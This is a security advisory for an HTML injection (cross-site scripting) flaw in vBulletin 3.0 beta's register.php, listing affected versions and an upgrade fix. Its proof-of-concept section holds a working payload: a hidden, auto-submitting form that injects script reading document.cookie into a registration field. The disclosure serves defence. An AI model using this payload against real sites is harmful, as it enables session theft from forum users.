vBulletin Register.PHP HTML Injection Vulnerability

BID:8354

Info

vBulletin Register.PHP HTML Injection Vulnerability

Bugtraq ID: 8354
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 06 2003 12:00AM
Updated: Aug 06 2003 12:00AM
Credit: Reported by Ferruh Mavituna <[email protected]>.
Vulnerable: VBulletin VBulletin 3.0 beta 7
VBulletin VBulletin 3.0 beta 6
VBulletin VBulletin 3.0 beta 5
VBulletin VBulletin 3.0 beta 4
VBulletin VBulletin 3.0 beta 3
VBulletin VBulletin 3.0 beta 2
Not Vulnerable: VBulletin VBulletin 3.0 Gamma
VBulletin VBulletin 2.3 .0
VBulletin VBulletin 2.2.8

Discussion

vBulletin Register.PHP HTML Injection Vulnerability

vBulletin may be prone to an HTML injection vulnerability. This issue is exposed through inadequate sanitization of user input for certain fields within the register.php script. An attacker may exploit this issue by including hostile HTML and script code in fields that may be displayed in posts to the message board, or the user's profile. This code may be rendered in the web browser of a user who views the malicious message.

Exploit / POC

vBulletin Register.PHP HTML Injection Vulnerability

The following example has been provided:

[form action="http://[victim]/register.php?do=register" method="post"
style="display:none"]
[input type="hidden" name="s" value="" /]
[input type="hidden" name="regtype" value="1" /]
[input type="text" class="bginput" name="field1" value="" size="25"
maxlength="250" /]
[input type="hidden" name="url" value="index.php" /]
[input type="hidden" name="do" value="addmember" /]
[/form]
[script]
//Code that will be executed
var xss = "\"][script]alert(document"+".cookie)[\/script]";
document.forms[0].field1.value=xss;
document.forms[0].submit();
[/script]

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Solution / Fix

vBulletin Register.PHP HTML Injection Vulnerability

Solution:
The vendor has stated that vBulletin 3.0 Gamma and later are not vulnerable to this issue. Users are advised to upgrade to a fixed version. Please contact the vendor for more information.

References

vBulletin Register.PHP HTML Injection Vulnerability

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